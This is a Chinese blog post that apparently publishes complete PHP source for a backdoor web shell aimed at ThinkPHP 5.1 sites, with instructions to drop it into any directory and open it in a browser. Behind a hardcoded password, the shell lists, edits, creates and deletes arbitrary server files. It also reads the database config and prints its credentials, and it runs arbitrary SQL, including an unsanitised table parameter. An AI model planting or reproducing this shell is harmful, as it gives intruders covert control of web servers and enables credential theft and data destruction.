将下面的代码随便命名文件，可以在任意目录里存放，然后再浏览器中访问即可。

该后门主要可以实现以下功能：
1、递归查看目录文件
2、对文件的CURD操作
3、读取数据库配置文件
4、在线执行SQL命令

```php
<?php
// +----------------------------------------------------------------------
// | TP5.1后门
// +----------------------------------------------------------------------
// | Copyright (c) 2018 https://blog.junphp.com All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: 小黄牛 <1731223728@qq.com>
// +----------------------------------------------------------------------
session_start();
header("Content-type: text/html; charset=utf-8"); 
echo '<pre>';
$Edition  = 'v1';// 版本号
$Password = '654321';// 密码

// 递归找到根目录
function get_app ($dir=null) {
    if (!$dir) {
        $dir = dirname(__FILE__);
    }

$filename = scandir($dir);
    foreach ($filename as $v) {
        if ($v == 'thinkphp') {
            return $dir;
        }
    }

return get_app(dirname($dir));
}

// 1-登录操作
if (!isset($_SESSION['gui-login'])) {
    if (isset($_POST['pwd'])) {
        if ($_POST['pwd'] != $Password) {
            echo"<script>alert('别乱来~~');history.go(-1);</script>";exit;
        }
        $_SESSION['gui-login'] = 1;
    } else {
?>
<!doctype html><html><head><meta charset="UTF-8"><title>做人要有信用-<?php echo $Edition;?></title><style>@charset"utf-8";body{margin:0;padding:0;background-color:#F7F7F7;overflow:hidden}ul{margin:0;padding:50px;list-style:none}.register{position:fixed;width:400px;background-color:#FFF;border:1px solid#CCC;border-radius:5px;position:fixed;left:50%;top:50%;transform:translate(-50%,-50%);z-index:1000;opacity:0.8}li{display:flex;margin:20px 0}label,input{display:block;float:left;height:46px;font-size:24px;box-sizing:border-box;color:#333}label{width:200px;line-height:46px;margin-right:30px;text-align:right}input{width:320px;padding:8px;line-height:1;outline:none;position:relative}input.code{width:120px}input.verify{width:190px;margin-left:10px}input.disabled{background-color:#CCC!important}input[type=submit]{border:none;color:#FFF;background-color:#E64145;border-radius:4px;cursor:pointer}.avatar{position:fixed;margin-top:-20px;position:absolute;top:-60px;left:50%;overflow:hidden;width:130px;height:130px;margin-left:-65px;border:10px solid#fff;border-radius:50%;box-shadow:0 1px 5px#ccc}</style></head><div class="register"><form class="login-wrap"action=""method="POST"><ul><li><input type="password"name="pwd"class="pass"></li><li><input type="submit"class="submit "value="立即进入"></li></ul></form></div><canvas id="canvas"style="background:#000"></canvas><script>window.onload=function(){var canvas=document.getElementById("canvas");var context=canvas.getContext("2d");var W=window.screen.availWidth;var H=window.screen.availHeight;canvas.width=W;canvas.height=H;var fontSize=18;var colunms=Math.floor(W/fontSize);var coordinate=[];for(var i=0;i<colunms;i++){coordinate.push(0)}var str="javascript html5 canvas";function draw(){context.fillStyle="rgba(0,0,0,0.05)";context.fillRect(0,0,W,H);context.font="800 "+fontSize+"px  宋体";context.fillStyle="#01fef5";for(var i=0;i<colunms;i++){var index=Math.floor(Math.random()*str.length);var x=i*fontSize;var y=coordinate[i]*fontSize;context.fillText(str[index],x,y);if(y>=canvas.height&&Math.random()>0.88){coordinate[i]=0}coordinate[i]++}}function randColor(){var r=Math.floor(Math.random()*256);var g=Math.floor(Math.random()*256);var b=Math.floor(Math.random()*256);return"rgb("+r+","+g+","+b+")"}draw();setInterval(draw,30)};</script></body></html>        
<?php
    exit;
    }
}

// 2-获取当前目录
$file = isset($_GET['file']) ? $_GET['file'] : dirname(__FILE__);
$type = isset($_GET['type']) ? $_GET['type'] : 1;
if ($type == 1) {
if (substr($file, -1) != '/' && substr($file, -1) != '\\') $file .= '/';
$filename = scandir($file);
?>

<div>当前所在位置：<?php echo $file;?></div>
<div>操作：<a href="?file=<?php echo dirname($file);?>&type=1">上一层</a>   <a href="?file=<?php echo $file;?>&type=4">创建文件</a>  <a href="?type=5">数据库</a> </div>

<table>
    <tr>
        <td width="50">序号</td>
        <td width="300">文件名称</td>
        <td width="100">大小(kb)</td>
        <td width="100">权限</td>
        <td width="150">最后修改时间</td>
        <td width="200">操作</td>
    </tr>
<?php
foreach($filename as $k=>$v){
    clearstatcache();
    if($v=="." || $v=="..") continue;
    $a=filectime($file.$v);
    $b = round(filesize($file.$v)/1024, 2);
    $c = substr(sprintf("%o",fileperms($file.$v)),-4);

echo '<tr>';
    echo '<td>'.($k+1).'</td>';
    echo '<td>'.$file.iconv('GB2312', 'UTF-8', $v).'</td>';
    echo '<td>'.$b.'</td>';
    echo '<td>'.$c.'</td>';
    echo '<td>'.date("Y-m-d H:i:s",$a).'</td>';
    echo '<td>';
    if (is_dir($file.$v)) {
        echo '<a href="?file='.$file.$v.'&type=1">进入</a>';
    } else {
        echo '<a href="?file='.$file.$v.'&type=2">编辑</a> | ';
        echo '<a href="?file='.$file.$v.'&type=3">删除</a>';
    }
    echo '</td>';
    echo '</tr>';
}
?>
</table>
<?php
} else if ($type == 2) {
    if (isset($_POST['edit'])){
        $res = file_put_contents($file, $_POST['edit']);
        if ($res === false) {
            echo"<script>alert('修改失败~~');history.go(-1);</script>";exit; 
        } else {
            echo"<script>alert('修改成功~~');history.go(-2);</script>";exit;
        }
    } else {
?>
<div>当前编辑文件：<?php echo $file;?></div>
<div>操作：<a href="?file=<?php echo dirname($file);?>&type=1">上一层</a></div>

<form class="login-wrap" action="?file=<?php echo $file;?>&type=2" method="POST">
    <textarea name="edit" style="width: 80%;min-height: 600px;"><?php echo file_get_contents($file);?></textarea>
    <input type="submit" value="提交修改">
</form>
<?php
    }
} else if ($type == 3) {
    if (@unlink($file) !== false) {
        echo"<script>alert('删除成功~~');history.go(-1);</script>";exit;
    } else {
        echo"<script>alert('修改失败~~');history.go(-1);</script>";exit; 
    }
} else if ($type == 4) {
    if (isset($_POST['edit'])){
        $array = explode('.', $_POST['name']);
        if (count($array) <=1 ) {
            echo"<script>alert('请输入正确的文件名称！');history.go(-1);</script>";exit; 
        }
        if (file_exists($file.$_POST['name'])) {
            echo"<script>alert('文件已存在！');history.go(-1);</script>";exit; 
        }
        $myfile = fopen($file.$_POST['name'], "w");
        if (!$myfile) {
            echo"<script>alert('文件创建失败！');history.go(-1);</script>";exit; 
        }
        fwrite($myfile, $_POST['edit']);
        fclose($myfile);
        echo"<script>alert('创建成功~~');history.go(-2);</script>";exit;
    } else {
?>
<div>当前目录：<?php echo $file;?></div>
<div>操作：<a href="?file=<?php echo $file;?>&type=1">上一层</a></div>

<form class="login-wrap" action="?file=<?php echo $file;?>&type=4" method="POST">
    <input type="text" name="name" placeholder="文件名">
    <textarea name="edit" style="width: 80%;min-height: 600px;"></textarea>
    <input type="submit" value="提交创建">
</form>
<?php
    }

//3-获取数据库文件
} else if ($type == 5) {
    $dir = get_app().'/config/database.php';
    $database = require_once $dir;
    try {
        $pdo = new PDO($database['type'].':host='.$database['hostname'].';port='.$database['hostport'].';dbname='.$database['database'], $database['username'], $database['password']);
        $pdo->exec('set names utf8');//设置编码
    } catch (PDOException $e) {
        echo '<script>alert("PDO链接失败：'.$e->getMessage().'");history.go(-1);</script>';exit; 
    }
    echo '<div>类型：'.$database['type'].'</div>';
    echo '<div>地址：'.$database['hostname'].'</div>';
    echo '<div>数据库：'.$database['database'].'</div>';
    echo '<div>账号：'.$database['username'].'</div>';
    echo '<div>密码：'.$database['password'].'</div>';
    echo '<div>端口：'.$database['hostport'].'</div>';
    echo '<div>DSN：'.$database['dsn'].'</div>';
    echo '<div>字符集：'.$database['charset'].'</div>';
    echo '<div>表前缀：'.$database['prefix'].'</div><br/><br/>';
    $result = $pdo->query('show tables');
    $info = $result->fetchAll();
    if ($info) {
?>
<div>当前所在位置：<?php echo $file;?></div>
<div>操作：<a href="javascript:history.back(-1)">上一层</a> <a href="?type=7">执行SQL</a> </div>

<table>
    <tr>
        <td>序号</td>
        <td width="200">表名</td>
        <td width="200">操作</td>
    </tr>
    <?php
foreach($info as $k=>$v){
    echo '<tr>';
    echo '<td>'.($k+1).'</td>';
    echo '<td>'.$v['Tables_in_shop'].'</td>';
    echo '<td>';
    echo '<a href="?table='.$v['Tables_in_shop'].'&type=6">查看结构</a>';
    echo '</td>';
    echo '</tr>';
}
?>
</table>
<?php
    }
} else if ($type == 6) {
    $dir = get_app().'/config/database.php';
    $database = require_once $dir;
    try {
        $pdo = new PDO($database['type'].':host='.$database['hostname'].';port='.$database['hostport'].';dbname='.$database['database'], $database['username'], $database['password']);
        $pdo->exec('set names utf8');//设置编码
    } catch (PDOException $e) {
        echo '<script>alert("PDO链接失败：'.$e->getMessage().'");history.go(-1);</script>';exit; 
    }
    echo '<div>类型：'.$database['type'].'</div>';
    echo '<div>地址：'.$database['hostname'].'</div>';
    echo '<div>数据库：'.$database['database'].'</div>';
    echo '<div>账号：'.$database['username'].'</div>';
    echo '<div>密码：'.$database['password'].'</div>';
    echo '<div>端口：'.$database['hostport'].'</div>';
    echo '<div>DSN：'.$database['dsn'].'</div>';
    echo '<div>字符集：'.$database['charset'].'</div>';
    echo '<div>表前缀：'.$database['prefix'].'</div><br/><br/>';
    $result = $pdo->query('desc '.$_GET['table']);
    $info = $result->fetchAll();

if ($info) {
?>
<div>当前表名：<?php echo $_GET['table'];?></div>
<div>操作：<a href="javascript:history.back(-1)">上一层</a> <a href="?type=7">执行SQL</a> </div>

<table>
    <tr>
        <td>序号</td>
        <td width="200">Field</td>
        <td width="200">Type</td>
        <td width="200">Null</td>
        <td width="200">Key</td>
        <td width="200">Default</td>
        <td width="200">Extra</td>
    </tr>
    <?php
foreach($info as $k=>$v){
    echo '<tr>';
    echo '<td>'.($k+1).'</td>';
    echo '<td>'.$v['Field'].'</td>';
    echo '<td>'.$v['Type'].'</td>';
    echo '<td>'.$v['Null'].'</td>';
    echo '<td>'.$v['Key'].'</td>';
    echo '<td>'.$v['Default'].'</td>';
    echo '<td>'.$v['Extra'].'</td>';
    echo '</tr>';
}
?>
</table>
<?php
    }
} else if ($type == 7) {
    $dir = get_app().'/config/database.php';
    $database = require_once $dir;
    
    try {
        $pdo = new PDO($database['type'].':host='.$database['hostname'].';port='.$database['hostport'].';dbname='.$database['database'], $database['username'], $database['password']);
        $pdo->exec('set names utf8');//设置编码
    } catch (PDOException $e) {
        echo '<script>alert("PDO链接失败：'.$e->getMessage().'");history.go(-1);</script>';exit; 
    }
    echo '<div>类型：'.$database['type'].'</div>';
    echo '<div>地址：'.$database['hostname'].'</div>';
    echo '<div>数据库：'.$database['database'].'</div>';
    echo '<div>账号：'.$database['username'].'</div>';
    echo '<div>密码：'.$database['password'].'</div>';
    echo '<div>端口：'.$database['hostport'].'</div>';
    echo '<div>DSN：'.$database['dsn'].'</div>';
    echo '<div>字符集：'.$database['charset'].'</div>';
    echo '<div>表前缀：'.$database['prefix'].'</div><br/><br/>';
    
    $error = '';
    if (!empty($_POST['sql'])){
        if (stripos($_POST['sql'], 'select')!==false) {
            try {
                $result = $pdo->query($_POST['sql']);
                $error = json_encode($result->fetchAll(), JSON_UNESCAPED_UNICODE);
            } catch (PDOException $e) {
                $error = $e->getMessage(); 
            }
        } else {
            try {
                $error = json_encode($pdo->exec($_POST['sql']), JSON_UNESCAPED_UNICODE);
            } catch (PDOException $e) {
                $error = $e->getMessage(); 
            }
        }
    }
    
?>

<form class="login-wrap" action="?type=7" method="POST">
    <textarea name="sql" style="width: 80%;min-height: 300px;" placeholder="SQL命令行 - 只限于<?php echo $database['database'];?> 数据库"></textarea>
    <textarea style="width: 80%;min-height: 100px;" placeholder="执行结果" disabled><?php echo $error;?></textarea>
    <input type="submit" value="提交运行">
</form>
<?php
}
?>
```

已有0条评论

添加新评论☺

如果认为本文对您有所帮助请赞助本站

支付宝扫一扫赞助

已有0条评论

添加新评论☺